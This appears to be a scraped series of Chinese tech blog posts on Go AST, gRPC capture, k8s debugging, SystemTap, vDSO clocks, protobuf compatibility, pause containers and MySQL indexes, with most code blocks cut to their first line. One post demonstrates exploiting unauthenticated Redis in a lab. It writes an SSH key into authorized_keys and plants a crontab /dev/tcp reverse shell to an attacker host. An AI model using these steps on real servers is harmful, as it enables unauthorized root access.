1 | // BuildArgs write a |
我们看下该代码的 ast 代码
1 | 29 . . 1: *ast.FuncDecl { |
linter 只需要检查 FuncDecl
的 Name 如果是可导出的,同时 Doc.CommentGroup
不存在,或是注释不以函数名开头,报错即可
另外如果大家对代码 cycle 有要求,那么是不是可以 ast 扫一遍来发现呢?如果大家要求函数不能超过 100 行,是不是也可以实现呢?
玩法很多 ^^
编译原理虽然难,但是搞业务的只需要前端知识即可,不用研究的太深,有需要的场景,知道 AST 如何解决问题就行
今天的分享就这些,写文章不容易,如果对大家有所帮助和启发,请大家帮忙点击再看
,点赞
,分享
三连
关于 Go AST
大家有什么看法,欢迎留言一起讨论,大牛多留言 ^_^
以前用 wireshark 分析过 GRPC 流量,非常方便,年初用同样方法分析了HOL blocking 问题,感兴趣的可以看看。今天记录下全过程,分享给大家,贼好用^^
1 | ssh root@some.host 'tcpdump -i eth0 port 80 -s 0 -l -w -' | wireshark -k -i - |
还有一种骚操作是 ssh 实时用 wireshark 解析,好处是不占用磁盘空间,但不是所有人都有权限
以前用 wireshark 分析过 GRPC
流量,非常方便。今天记录下全过程,分享给大家,贼好用^^
1 | tcpdump -i eth0 -w tcpdump.log |
上面是直接 dump 整个网卡的流量,如果太大的话,可以只 dump 固定 ip 或端口的
我们线上有脚本,可以整天 dump 数据,然后按文件大小进行切割。大家可以自己写,还蛮方便的
因为 GRPC
是在 http2
之上运行的,协议是 protobuf
, 所以需要加载 pb 文件,否则 wireshark 无法识别自定义内容
另外,如果走了 tls
加密,还需要在 wireshark
上加载 rsa key 解密流量
打开 Wireshark->Preference->Protocols->Protobuf
然后打开 Edit
, 输入本次测试用的 proto 文件
proto
文件可能引用其它 pb 文件,所以也需要填写搜索路径,然后确定
这就配置完成
打开 tcpdump.log 数据文件以后,打开 Wireshark->Analyze->Decode As
如上所示,因为我要解析 10177 http2, 添加后确定
这时会发现,己经能看到 http2 包数据了。如果你的数据是加密的,记得配置 tls
Wireshark 非常强大,可以根据 http2 header 来过滤,由可以跟据 body 来过滤,很方便
如上图,可以看到解析出了业务 endpoints, header 以由 request 内容。撒花 ~~
写文章不容易,如果对大家有所帮助和启发,请大家帮忙点击在看
,点赞
,分享
三连
关于 调试 GRPC
大家有什么看法,欢迎留言一起讨论,大牛多留言 ^_^
Grab 北京(格步科技)大量招聘 后端开发、全栈、IOS/Android、SRE, 还有少量实习生岗位开放。有意向的请联系我 ^_^
本篇分享来源于上午和同事的讨论。大部份工程师都使用 Mac 做为开发环境,平常 local 编译 go 代码没什么问题,偶尔需要 linux binary, 交叉编译足够了
1 | GOOS=linux GOARCH=amd64 go build main.go |
比如上面指定 GOOS 是 linux, GOARCH 平台是 amd64. 但还是有些场景,Mac 无法解决
第二个场景 gdb 我还折腾过一段时间,始终无法像 linux 平台那样完美。难道无法解决了嘛?
解决办法就是:**Docker
启动 ubuntu 虚拟机,然后挂载本地 GOPATH
目录到容器中**
让我们来看下操作细节:
安装 docker for mac 可以自行 google, 这里要注意调大 cpu 和 memory, 否则编译大型代码时内存不足。
1 | docker pull ubuntu |
上面命令分别是下载 ubuntu 镜像,创建名为 sextant 的容器,最后再启动
这里面 cpus m 用来设置资源,少了不够用。/Users/zerun.dong/:/root/zerun.dong
用于将本机目录挂载到容器中的 /root/zerun.dong 下面,privileged
允许容器对宿机主 root 权限
进到容器后,需要再安装 go binary, 然后设置好 GOPATH, PATH, GOROOT 后即可进行编译。成功后就会在 Mac 本机留下 linux binary, 也可直接在容器中用 gdb 进行调试,非常方便
1 | docker ps -a | grep -i ubuntu |
当然也使用 docker commit 保存刚才的容器运行时,这样下次使用就可以直接编译,省去刚才的操作步骤
这次分享就这些,以后面还会分享更多的内容。如果感兴趣,请大家关注
, 在看
,点击左下角的分享
素质三连哦(:
本文面向初次调试 k8s 服务的新手及运维,老鸟可以跳过啦~ 但也需要了解 k8s, 比如至少知道 service
, endpoint
, pod
, node
这些基本概念
前两年开始接触学习 k8s, 一直有纸上谈兵的感觉。最近恰好项目需要,服务要整体迁移到 aws k8s 平台,实践中才发现原来很多地方理解不到位
比如说如何调试 k8s 里的服务呢? 服务对外暴露了 service
, 要查看 endpoints(就是后端的 real server) 是否挂载成功,如果没有 endpoints 那就要用 kubectl logs
或是 kubectl describe
查看服务 pod 是否启动成功。可以参考官网应用故障排查
Pod 启不来的原因很多:镜像 pull 失败(墙内), 资源不足无法调度,liveness 检查失败,服务自身 panic 等等一大堆 …
由于 k8s 内部网络和物理机不在一个网段,如果你的服务没有挂到 external lb 上面,那就需要创建专用的调试 pod, 然后进到 k8s 网络里
1 | apiVersion: v1 |
比如这里创建了名称是 dnsutils 的 pod, 永久 sleep
1 | zerun.dong$ kubectl exec -i -t dnsutils -- /bin/bash |
比如这里使用 /bin/bash
进到调试 pod 里,然后 curl 调用我服务的地址 http://service-name.namespace-name/xx/aa/bb/cc
。
这里要注意 service-name.namespace-name
是短域名,完整的应该是 service-name.namespace-name.svc.cluster.local
. 也可以直接用 container ip 进行调试
另外 k8s 也支持使用 kubectl debug
命令启动调试 pod, 也非常方便。总之有权限啥都好说,没权限干瞪眼 …
另外,如果有登录宿主机的权限,也可以使用 nsenter
进行调试
原理就是用 nsenter
attach 到目标容器的 namespaces 中,一般我们都是进到 net ns
1 | ps aux | grep -i envoy |
1 | nsenter -u -i -n -p -t 13808 ip addr |
1 | nsenter -u -i -n -p -t 13808 curl -i http://127.0.0.1:8081/help |
比如上面的例子,13808 是 envoy 在宿主机上的进程 id, 有些端口并没有暴露给缩主机,或是 lb, 只能进到 net ns 里调试
阿里以前开源了一个 kt-connect 项目。宣称是研发侧利器,本地连通 Kubernetes 集群内网。不过一年多没有更新,猜测又是 kpi 式开源?还是项目移植走了?
理念超级棒。可以将 k8s 流量导到开发机本地,也能将本地服务暴露到 k8s 中。我们目前没有采用,现在仍然是每次修改都要 deploy 到 dev k8s 环境中
上面是架构图,可以参考云原生环境下的开发测试。没啥黑科技,就是在集群内部设置代理影子容器,负责转发流量,有时间这块再写一篇分享
今天的分享就这些,写文章不容易,如果对大家有所帮助和启发,请大家帮忙点击再看
,点赞
,分享
三连
官方也有相关 blog, 可以参考。关于调试 k8s 服务大家有什么看法,欢迎留言一起讨论 ^_^
]]>霸爷博客,干货满满。有两篇文章现在还记得,《Linux下如何知道文件被哪个进程写》和《巧用Systemtap注入延迟模拟IO设备抖动》,周末突然想起来,发现能看懂了:)
Systemtap is a tool that allows developers and administrators to write and reuse simple scripts to deeply examine the activities of a live Linux system. Data may be extracted, filtered, and summarized quickly and safely, to enable diagnoses of complex performance or functional problems.
我们一般调试程序,业务程序加日志,打 log, 基本能满足需求。再不济,使用 strace、lsof、perf 足够看到性能瓶劲,可以参考我 go gc 的文章。但是系统编程,就不能狂打日志,而且很多调用栈都处于 kernel space,那么普通的调试手段就显得捉襟见肘了。
此时 systemtap 就能派上用场,他会在内核函数加 probe 探针,对 kernel space 函数调用进行统计汇总,甚至可以对其进行干预。但是对 user space 调试支持不是很好。
本机环境:DELL R720, Ubuntu 14.04 3.19.0-25-generic x86_64
1 | apt-get install systemtap systemtap-client systemtap-common systemtap-runtime systemtap-server -y |
对于 centos 系统也一样,yum install 即可。此时还要使用执行 stap-prep 安装缺失的内核镜像调试包。比如我的就是
1 | linux-image-3.19.0-25-generic-dbgsym_3.19.0-25.26~14.04.1_amd64.ddeb |
遇到缺什么包直接安装,或是从网上下载。systemtap 最好不要用源码安装,涉及内核的包都很恶心,版本必须匹配,可以用 uname -r 查看。
有个文件,不定期的被修改,如果只是瞬间的写入,lsof 也没有办法,就算定期执行,也可能有缺失。那么此时 systemtap 就该大显身手了,先上代码:
1 | #!/usr/bin/env stap |
语法类似 awk 代码很简单,probe 定义探针,后面紧跟着探测点,可以是具体的函数名,支持 * 匹配,大括号定义探针触发动作。
file 是函数 vfs.read, vfs.write 的参数,dev_nr,inode_nr 根据 file 结构体获取设备号和 inode,探测点是针对内核函数的,所以可以获取函数所有参数。
execname 执行 vfs.write 或 vfs.read 程序名
pid 执行 vfs.write 或 vfs.read 进程号
ppfunc 是控测点函数名,这个内置函数在不同版本可能不一样,比如霸爷文章里是 probefuc
打开终端执行 dd 不断的写入数据,并查看文件 inode 号
1 | dd if=/dev/zero of=test.dat |
1 | stat -c "%i" /disk1/test.dat |
这里 /dev/sdb1 是挂载在 /disk1 目录下的设备
1 | stap -v inodewatch.stp 8 17 15 |
stap 执行脚本需要 5 个步骤,解析脚本,分析,生成 c 代码,编绎成内核模块 ko 文件。最后执行模块,可以看到 dd 任务在写文件,调用 vfs_write
霸爷的这篇例子很有意思,systemtap 模拟磁盘 IO 抖动,对于一些存储系统,压测时可以试一下。原理还是很简单的,在 vfs_write, vfs_read 时 sleep 一小段时间即可,时间可以随机。先上代码
1 | cat inject_ka.stp |
代码有些略长,先看探针 probe vfs.read.return, vfs.write.return 表示在退出前执行探针代码,判断 dev_nr 是不是目标设备,并且打开了 ineject, 如果打开,那么 udelay 一小段时间。
至于另外两个探针,procfs(“cnt”), procfs(“inject”) 读取 /proc/systemtap 时触发,修改全局变量 inject 来决定是否打开 IO 注入
这个脚本执行可能会遇到 vfs_lookup_path 报错,很恶心,我把 procfs.c 升级了一个版本,并注释掉 vfs_lookup_path 部分才解决 …
1 | stap -DMAXSKIPPED=9999 -m ik -g inject_ka.stp 8 17 400 |
8,17 表示磁盘设备号,400表示 udelay 时间,此时脚本阻塞在这里,并没有开始执行 IO 注入。打开另一个终端执行注入,持续 30 秒。
1 | echo on| tee /proc/systemtap/ik/inject && sleep 30 && echo off| tee /proc/systemtap/ik/inject |
此时可以看到 stap 有输出。
简单的使用 dd 来测试 IO 延迟对顺序写的影响
注入前
1 | dd if=/dev/zero of=test.dat bs=8k count=1000000 |
注入后
1 | dd if=/dev/zero of=test.dat bs=8k count=1000000 |
可以看到 dd 性能下降很大,通过调整 udelay 时间可以模拟不同延迟下的性能。如果是随机的,或是符合正态分布的可能更好。
官网[4] 有很多 systemtap 使用例子和介绍,还可以抓网络协议栈,性能很强大。同时需要有一定的内核功底,至少要知道探针埋在哪里,openresty 大量使用 systemtap 进行调试,可以参考学习。
另外,安装是个很大问题,一定要注意版本,太新也不可以,ubuntu 系统 apt 源是 2.3,尝试过源码安装高版本,各种报错。
今天的分享就这些,写文章不容易,如果对大家有所帮助和启发,请大家帮忙点击再看,点赞,分享 三连。
关于 systemtap 大家有什么看法,欢迎留言一起讨论 ^_^
在赶集网的时候开始真正使用 redis, 陆陆续续也做过相关的开发工作,也遇到过各种各样的问题,所以想系统的梳理下 redis 相关的知识。计划将小白的 redis做成一个系列,由浅入深,分享从简单的数据结构使用到底层原理的实现,涉及到部份 c 代码。
安全是 IT 永远绕不开的话题,但恰恰是互联网从业者最容易忽视的。从最早的 web 劫持,sql 注入,到最近几年流行的挖矿病毒,很多只要稍微留心都可以避免,解决方法可能很简单,比如使用普通用户运行程序、form 表单提交的数据做校验等等…
但是因为信息不对称,开发人员不关注(不是 KPI),没有安全意识,导致被拖库,被攻击等等。这也是为什么系列的第一篇要从安全开始讲起。
另外说一个暴露年龄的病毒:熊猫烧香
:)
历史上 redis 就暴露过很多漏洞,感兴趣的可以关注下 CVE-2015-8080 lua 沙盒逃逸、CVE-2015-4335 eval 执行 lua 字节码、CVE-2016-8339 缓冲区溢出漏洞、CVE-2013-7458 读取 rediscli_history.
前两年有人统计,监听公网地址,并且没有验证的 redis, mongodb, mysql 等等数据库服务一大堆,很多服务器都成了黑客的肉鸡,用来攻击别的服务,加密数据索要比特币。
特别是当 redis 是用 root 身份运行的,就算有 auth 认证,也很容易被暴力破解。本篇分享的就是利用这一特点获得被攻击 redis 服务器的登录权限,即未授权登录漏洞。
上图是相关的思维导图,原理就是修改 redis 配置,间接修改 ssh 相关文件或是 crontab 文件。
1 | docker run --hostname redis-server -it mycentos /bin/bash |
使用 docker 运行 redis-server 服务器,ip 地址是 172.17.0.3
1 | docker run --hostname attack-client -it mycentos /bin/bash |
使用 docker 运行攻击测试服务器,ip 地址是 172.17.0.2
在测试服务器上启动 redis, 注意将 bind 设为 0.0.0.0
1 | [root@redis-server src] |
在 client 服务器上连接 redis-server, 修改 redis 运行目录以及 dbfilename
1 | [root@attack-client src]# ./redis-cli -h 172.17.0.3 -p 6379 |
将测试服务器的公钥当成 value 写到 redis, 如果没有请先用 ssh-keygen 生成
1 | [root-client src]# (echo -e "\n\n";cat /root/.ssh/id_rsa.pub;echo -e "\n\n") > 1.txt |
退出 redis 后,即可登录
1 | [root@attack-client src]# ssh root@172.17.0.3 |
其实这里利用了 ssh key 的一个漏洞,即如果遇到非法的认证就忽略,继续检测下一行文本,这就是为什么我们构造的攻击 value 前后要加上两个换行的原因。
反弹 shell 和上面的原理一样,也是利用了 crontab 格式的漏洞。先在攻击测试机开新的 session, 监听端口
1 | [root@attack-client src]# nc -lvnp 4444 |
然后修改 config
1 | [root@attack-client src]# ./redis-cli -h 172.17.0.3 -p 6379 |
上面其实就是构造了 /var/spool/cron/root, 然后生成攻击 key 并保存,其中 value 是一个合法的 crontab
1 | 172.17.0.3:6379> set xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/172.17.0.2/4444 0>&1\n\n" |
可以看到 redis 端的 crontab 己经生成,过一会,client 端 nc 就会收到来自 redis 服务器的 shell
1 | [root@attack-client src]# nc -lvnp 4444 |
另外经过测试,ubuntu 服务器对 crontab 文件有权限校验,攻击会失败,并报错
1 | Feb 5 13:47:01 ubuntu2 cron[754]: (root) INSECURE MODE (mode 0600 expected) (crontabs/root) |
其实漏洞修复也很简单,整体来说这几点也适用于其它服务
分享知识,长期输出价值,这是我做公众号的目标。同时写文章不容易,如果对大家有所帮助和启发,请帮忙点击在看
,点赞
,分享
三连
关于 redis
大家有什么看法,欢迎留言一起讨论,大牛多留言 ^_^
前几天帮同事看问题时,意外的发现了时钟源影响性能的 case, 比较典型,记录一下。网上也有人遇到过,参考虾皮的[Go] Time.Now函数CPU使用率异常 和 Two frequently used system calls are ~77% slower on AWS EC2
本质都是 fallback 系统调用,所以慢了,但是触发这个条件的原因不太一样。我最后的分析也可能理解有误,欢迎一起讨论并指正。
上图是 perf 性能图,可以发现 __clock_gettime
系统调用相关的耗时最多,非常诡异。
1 | // time_demo.go |
上图是最小复现 demo, 直接查看 time.Now() 函数的耗时。使用 strace -ce 来查看系统调用的统计报表
1 | strace -ce clock_gettime go run time_demo.go |
上面是有问题的机器结果,可以发现大量的系统调用 clock_gettime
产生。
1 | strace -ce clock_gettime go run time_demo.go |
上面是正常性能机器的结果,耗时是纳秒级别的,快了几个量级。并且没有任何系统调用产生。可以想象一下,每个请求,不同模块都要做大量的 P99 统计,如果 time.Now 自身耗时这么大那这个服务基本不可用了。
有问题机器系统调用函数样子如下:
1 | clock_gettime(CLOCK_MONOTONIC, {tv_sec=857882, tv_nsec=454310014}) = 0 |
测试内核是 5.4.0-1038
来看一下 go time.Now 的实现
1 | // src/runtime/timestub.go |
time 只暴露了函数的定义,实现是由底层不同平台的汇编实现,暂时只关注 amd64, 来看下汇编代码
1 | // src/runtime/sys_linux_amd64.s |
那么问题来了,vdso
是什么?
首先说,大家都知道系统调用慢,涉及陷入内核,上下文开销。但是到底多慢呢?
上图是系统调用和普通函数调用的开销对比,参考 [Measurements of system call performance and overhead](http://arkanis.de/weblog/2017-01-05-measurements-of-system-call-performance-and-overhead, Measurements of system call performance and overhead), 可以看到,getpid
走系统调用的开销远大于通过 vdso 的方式,而且也远大于普通函数调用。
vdso (virtual dynamic shared object) 参考 vdso man7, 本质上来说,还是因为系统调用太慢,涉及到上下文切换,少部分频繁使用的系统调用贡献了大部份时间。所以把这部份,不涉及安全的从内核空间,映射到用户空间。
1 | x86-64 functions |
上面就是 x86 支持 vdso 的函数,一共 4 个?不可能这么少吧?来看一下线上真实情况的
1 | uname -a |
内核版本是 5.4.0, 通过 maps 找到当前进程的vdso, 权限是r-xp,可读可执行但不可写,我们可以直接把他dump出来看看。先在另一个 session 执行 cat, 等待输入,然后用 gdb attach
1 | ps aux | grep cat |
1 | cat /proc/9869/maps | grep -i vdso |
再查看符号表
1 | file /tmp/vdso.so |
为什么这么麻烦呢?因为这个 vdso.so 是在内存中维护的,并不像其它 so 动态库一样有对应的文件。
说了这么多,所以问题来了,为什么有了 vdso, 获取时间还要走系统调用呢???
关于时钟源,下面的引用来自于 muahao
内核在启动过程中会根据既定的优先级选择时钟源。优先级的排序根据时钟的精度与访问速度。
其中CPU中的TSC寄存器是精度最高(与CPU最高主频等同),访问速度最快(只需一条指令,一个时钟周期)的时钟源,因此内核优选TSC作为计时的时钟源。其它的时钟源,如HPET, ACPI-PM,PIT等则作为备选。
但是,TSC不同与HPET等时钟,它的频率不是预知的。因此,内核必须在初始化过程中,利用HPET,PIT等始终来校准TSC的频率。如果两次校准结果偏差较大,则认为TSC是不稳定的,则使用其它时钟源。并打印内核日志:Clocksource tsc unstable.
正常来说,TSC的频率很稳定且不受CPU调频的影响(如果CPU支持constant-tsc)。内核不应该侦测到它是unstable的。但是,计算机系统中存在一种名为SMI(System Management Interrupt)的中断,该中断不可被操作系统感知和屏蔽。如果内核校准TSC频率的计算过程quick_ pit_ calibrate ()被SMI中断干扰,就会导致计算结果偏差较大(超过1%),结果是tsc基准频率不准确。最后导致机器上的时间戳信息都不准确,可能偏慢或者偏快。
当内核认为TSC unstable时,切换到HPET等时钟,不会给你的系统带来过大的影响。当然,时钟精度或访问时钟的速度会受到影响。通过实验测试,访问HPET的时间开销为访问TSC时间开销的7倍左右。如果您的系统无法忍受这些,可以尝试以下解决方法: 在内核启动时,加入启动参数:tsc=reliable
参考 linux insides timers 一节,可以看到各个时钟源调用 clocksource_register_khz
进行注册,分别看 tsc 和 xen
1 | static int __init init_tsc_clocksource(void) |
查看 clocksource_tsc 时钟源的 vclock_mode 是 VCLOCK_TSC
1 | static void __init xen_time_init(void) |
查看 xen 时钟源的 vclock_mode 是 VCLOCK_PVCLOCK
那么问题来了,clocksource 是如何与 vdso_data 关联的呢?这里面比较复杂,参考 linux内核中的定时器和时间管理 和 vdso段数据更新, 定位到 /kernel/time/tick-common.c
的 timekeeping_update
函数,由它负责将定时器更新到用户层的 vdso 区。
1 | /* must hold timekeeper_lock */ |
anatony-of-the-vDSO-on-arm64.png
上面的截图来自 arm vdso 实现,和 x86 的类似。
然后再看一下 timekeeper 和 clocksource 是如何对应的呢?在 timekeeping_init
函数里
1 | void __init timekeeping_init(void) |
这是初始化时的函数,每当时钟源变更时,会调用 change_clocksource
切换。
1 | // linux/lib/vdso/gettimeofday.c |
1 | static __always_inline |
先直接看 fallback 逻辑,好嘛,直接是汇编的 syscall 调用,注意这里汇编是和平台相关的,这个代码是 x86. 这里 unlikely 是做分支预测的,后面的事情大概率不会发生,如果 ret 不为 0, 说明 vdso 获取时间失败,那么来看下什么时候 __cvdso_clock_gettime_common
会失败。
1 | static __maybe_unused int |
这里只看 do_hres
实现
1 | static int do_hres(const struct vdso_data *vd, clockid_t clk, |
__arch_get_hw_counter
会根据 clock_mode 求出 cycles 值,这是一个 u64 类型,如果转成 s64 为负数,那就返回 -1, 此时会触发 fallback 系统调用逻辑。
1 | static inline u64 __arch_get_hw_counter(s32 clock_mode) |
1 | static u64 vread_pvclock(void) |
这里判断如果 flags 里没有 PVCLOCK_TSC_STABLE_BIT 标记,则返回 U64_MAX, 来看一下什么时候没有这个标记
1 |
|
1 | /* |
也就是说,如果宿主机使用了 tsc clocksource, 并且没有观察到时钟回退现象,那么就设置 use_master_clock 为 true, 否则为 false.
所以问题来了,我们这台机器是机器学习 aws p3.2xlarge, 怀疑是和宿主机有关,试了下其它 c5 系列的都己经不支持 xen clocksource 了(仅支持 tsc kvm-clock acpi_pm),同时 kvm-clock 源测试也支持 vdso, 同时参考 官方玩转GPU实例 blog, 最新的虚拟化技术 Nitro
己经没有这个问题了。
分析来分析去,分析个寂寞。。。
当然对于老的硬件,或是内核还是有必要修复的
1 | cat /sys/devices/system/clocksource/clocksource0/available_clocksource |
查看当前时钟源是 xen, 只需要将 tsc 写入即可。
1 | echo tsc > /sys/devices/system/clocksource/clocksource0/available_clocksource |
所以需要有任务来检测,如果内核将时钟源修改了,就需要更改为 tsc. 我们 prd 为什么没有这个问题呢??? 从 dmesg 输出看,是有任务将 clocksource 切回 tsc 的操作,可能有脚本在检测。
但是还有种情况,就是内核将 tsc 标记为不可信 Clocksource tsc unstable, 这时只能重启内核了。或是在启动内核时,指定 tsc=reliable, 参考 manage-ec2-linux-clock-source
1 | GRUB_CMDLINE_LINUX="console=tty0 crashkernel=auto console=ttyS0,115200 clocksource=tsc tsc=reliable" |
然后用 grub2-mkconfig -o /boot/grub2/grub.cfg 生成 grub.cfg 配置文件
这次分享就这些,以后面还会分享更多的内容,如果感兴趣,可以关注并点击左下角的分享
转发哦(:
前几年业界流行使用 thrift, 比如滴滴。这几年 grpc 越来越流行,很多开源框架也集成了,我司大部分服务都同时开放 grpc 和 http 接口
相比于传统的 http1 + json 组合,这两种技术都用到了 IDL, 即 Interface description language
接口描术语言,相当于增加了 endpoint schema 约束,不同语言只需要一份相同的 IDL 文件即可生成接口代码。
很多人喜欢问:proto buf 与 json 比起来有哪些优势?比较经典的面试题
IDL 文件管理每个公司不一样,有的保存在单独 gitlab 库,有的是 mono repo 大仓库。当业务变更时,IDL 文件经常需要修改,很多新手总是容易踩坑,本文聊聊 grpc proto 变更时的兼容问题,核心只有一条:对扩展开放,对修改关闭,永远只增加字段而不修改
本文测试使用 grpc-go example 官方用例,感兴趣自查
1 | syntax = "proto3"; |
每次修改后使用 protoc
重新生成代码
1 | protoc --go_out=. --go_opt=paths=source_relative --go-grpc_out=. --go-grpc_opt=paths=source_relative helloworld/helloworld.proto |
Server 每次接受请求后,返回 HelloReply
结构体
1 | // SayHello implements helloworld.GreeterServer |
Client 每次只打印 Server 返回的结果
将 HelloReply
结构体字段 age
编号变成 12, 然后 server 使用新生成的 IDL 库,client 使用旧版本
1 | zerun.dong$ ./greeter_client |
可以看到 client 没有读到 age 字段,因为 IDL 是根据序号传输的,client 读不到 seq 3, 所以修改序号不兼容
修改 HelloReploy
字段 id
, 变成 score
类型和序号不变
1 | // The response message containing the greetings |
重新编译 server, 并用旧版本 client 访问
1 | zerun.dong$ ./greeter_client |
可以看到,虽然修改了字段名,但是 client 仍然读到了正确的值 12345, 如果字段含义不变,那么只修改名称是兼容的
有些类型是兼容的,有些不可以,而且还要考滤不同的语言。这里测试三种
1 | // The response message containing the greetings |
我们将 additional
字段由 string 类型修改为 bytes
1 | // The response message containing the greetings |
可以看到 go 结构体由 string 变成了 []byte, 我们知道这两个其实可以互换
1 | zerun.dong$ ./greeter_client |
最后结果也证明 client 可以正确的处理数据,即修改成兼容类型没有任何问题
1 | message HelloReply { |
这里我们将 age
由 int32 修改成 int64 字段,位数不一样,如果同样小于 int32 最大值没有问题,此时我们在 server 端将 age 赋于 2147483647 + 1 刚好超过最大值
1 | zerun.dong$ ./greeter_client |
我们可以看到 age
变成了负数,如果业务刚好允许负值,那么此时一定会出逻辑问题,而且难以排查 bug, 这其实是非常典型的向上向下兼容问题
1 | message HelloReply { |
我们将 age
由 int32 变成 string 字符串,依旧使用 client 旧版本测试
1 | zerun.dong$ ./greeter_client |
可以看到结构体 json 序列化打印时不存在 Age
字段,但是 log 打印时发现了不兼容的 3:"this is age"
, 注意 grpc 会保留不兼容的数据
同时 r.Age
默认是 0 值,即非兼容类型修改是有问题的
1 | message HelloReply { |
删除字段 age
也就是说序号此时有空洞,运行 client 旧版本协义
1 | zerun.dong$ ./greeter_client |
没有问题,打印 r.Age
当然是默认值 0, 即删除字段是兼容的
1 | message SearchRequest { |
熟悉 thrift
或是使用 proto2
协义的都习惯使用 required
optional
来定义字段属于,扩展字段一般标记为 optional
, 必传字段使用 required
来约束
官方解释如下 issues2497,简单说就是 required
打破了更新 IDL 时的兼容性
永远不能安全地向 proto 定义添加 required 字段,也不能安全地删除现有的 required 字段,因为这两个操作都会破坏兼容性
在一个复杂的系统中,proto 定义在系统的许多不同组件中广泛共享,添加/删除 required 字段可以轻松地降低系统的多个部分
多次看到由此造成的生产问题,并且 Google 内部几乎禁止任何人添加/删除 required 字段
上面是谷歌得出的结论,大家可以借鉴一下,但也不能唯 G 家论
IDL 修改还有很多测试用例,感兴趣的可以多玩玩,比如结构体间的转换问题,比如 enum 枚举类型。上文测试的都是 server 端使用新协义,client 使用旧协义,如果反过来呢?想测试 thrift 的可以看看这篇 thrift missing guide
本文能过测试 case 想告诉大家,IDL 只能追加杜绝修改(产品测试阶段随变改,无所谓)
写文章不容易,如果对大家有所帮助和启发,请大家帮忙点击在看
,点赞
,分享
三连
关于 IDL 兼容问题
大家有什么看法,欢迎留言一起讨论,大牛多留言 ^_^
Pause
, 那么到底什么是 Pause
容器呢?长什么样?有什么做用?废话不多,直接上源码,来自官方 pause.c
1 |
|
可以看到 Pause
容器做如下两件事情:
SIGINT
或是 SIGTERM
后,直接退出。收到 SIGCHLD
信号,调用 waitpid
, 回收退出进程pause()
函数,使进程进入休眠状态,直到被终止或是收到信号还是 c 的基础不够扎实,一直以为 waitpid
是父进程等待回收退出的子进程,但是真的这样嘛?
1 | zerun.dong$ man waitpid |
在 mac 上查看 man 手册,wait for process termination
也确实这么写的。登到 ubuntu 18.04 查看一下
1 | :~# man waitpid |
对于 linux man 手册,就变成了 wait for process to change state
等待进程的状态变更!!!
1 | All of these system calls are used to wait for state changes in a child of the calling process, and obtain information about the child whose |
并且还很贴心的提供了测试代码
1 |
|
子进程一直处于 pause 状态,而父进程则 waitpid 阻塞等待子进程状态变更。让我们开启一个 session 运行代码,另外一个 session 发送信号
1 | ./a.out |
1 | ps aux | grep a.out |
通过向子进程发送信号 STOP
CONT
来控制进程。
看来不同系统,同名 c 函数形为是不太一样的。是我大惊小怪了,就是菜:(
一般提起 POD 就知道,同一个 POD 内的容器如果互相访问,只需调用 localhost 即可。如果把 k8s 集群想象成分布式操作系统,那么 POD 就是进程组的概念,一定要共享某些东西的,那么默认共享哪些 namespace 呢?
使用 minikube 搭建环境,先看一下 POD 定义文件
1 | apiVersion: v1 |
从 1.17 开始有参数 shareProcessNamespace
用来控制是否 POD 内共享 PID namespace, 1.18 之后默认是 false 的,如果有需求需要填写该字段。
1 | kubectl attach -it nginx -c shell |
attach 到 shell 容器中,可以看到该 POD 内所有进程,并且只有 pause
容器是 init 1 进程。
1 | / # kill -HUP 8 |
测试给 nginx master 发送 HUP 信号,子进程重启。
如果不共享 PID ns, 那么每个容器内的进程 pid 都是 init 1 进程。共享 PID ns 好处是什么呢?参考这篇文章
容器进程不再具有 PID 1
。 在没有 PID 1 的情况下,一些容器镜像拒绝启动(例如,使用 systemd 的容器),或者拒绝执行 kill -HUP 1 之类的命令来通知容器进程。在具有共享进程命名空间的 pod 中,kill -HUP 1 将通知 pod 沙箱(在上面的例子中是 /pause)。进程对 pod 中的其他容器可见
。 这包括 /proc 中可见的所有信息,例如作为参数或环境变量传递的密码。这些仅受常规 Unix 权限的保护。容器文件系统通过 /proc/$pid/root 链接对 pod 中的其他容器可见
。 这使调试更加容易,但也意味着文件系统安全性只受文件系统权限的保护。在宿主机查看 nginx, sh 的进程 id, 通过 /proc/pid/ns 查看 namespace id
1 | ls -l /proc/140756/ns |
可以看到这里共享了 cgroup, ipc, net, pid, user. 这里仅限于测试案例。
测试一下杀掉 Pause
容器的话,k8s 是如何处理 POD. 使用 minikube 搭建环境,先看一下 POD 定义文件
1 | apiVersion: v1 |
启动后,查看 pause 进程 id, 然后杀掉
1 | kubectl describe pod nginx |
k8s 检测到 pause
容器状态异常,就会重启该 POD
, 其实也不难理解,无论是否共享 PID namespace, infra
容器退出了,POD
必然要重启,毕竟生命周期是与 infra
容器一致的。
这次分享就这些,以后面还会分享更多的内容,如果感兴趣,可以关注并点击左下角的分享
转发哦(:
MySQL 字段一定要 NOT NULL, 并且设置合理的 default 值!!!
MySQL 字段一定要 NOT NULL, 并且设置合理的 default 值!!!
重要的事情提前说三遍,靠人约束是不行的,SQL 上线平台一定要检查语句是否规范。直接一棒子打死,省得以后祸害人间 ^^
这几天同事遇到小问题,明明表结构中有 Unique 复合唯一索引,但是数据居然有重复,百思不得其解。因为涉及 json 字段,所以稍走些弯路,以为是 json 引入的问题
这里强调一下,MySQL json 功能很弱,大家不要用,会有性能问题(去年分享过)。同时,table schema
本身是一种强约束,字段 json 大家都往里塞,新功能开发,服务易手几次,json 就成了下水道,没人说得清里面存的都是啥
这点很像开发写的 protobuf
或是 thrift
IDL, 定义一个 Map 字段,以后新加字段直接写进 Map 里 …
1 | show create table players\G |
这是表结构,delete_at
,rname
,rage
三个字段构成一个复合的唯一索引
1 | select * from players; |
上面是测试数据,很容易复现数据冗余问题,id 为 2,3 的两条数据是一样的。为什么?
而且索引顺序也不对,delete_at
业务逻辑表示记录被删除的时间点,未被删除的话默认为 NULL
1 | select * from players where delete_at is not null and rname='xx' and range=xx; |
这是模拟的线上 SQL, 看出问题了吧,应该唯一性高的放到前面才对
不绕弯子,数据冗余原因在于 NULL
值。在 2005 年的时候就有人提了 Bug unique index allows duplicates if at least one of the columns is null, 大家可以看看讨论,争议很多
我测试后也得出结论,现在的 MySQL 版本也有这个现象,并且 NULL
值的索引顺序无关。但是官方并不认为这是一个 issue
为什么?因为 SQL92 标准 定义了 NULL
不与任何值相等, NULL
只是代表 missing values
NULLs cannot equal anything else, so can’t stop UNIQUE from being TRUE. For example, a series of rows containing {1,NULL,2,NULL,3} is UNIQUE. UNIQUE never returns UNKNOWN.
另外关于唯一索引也有相关描述
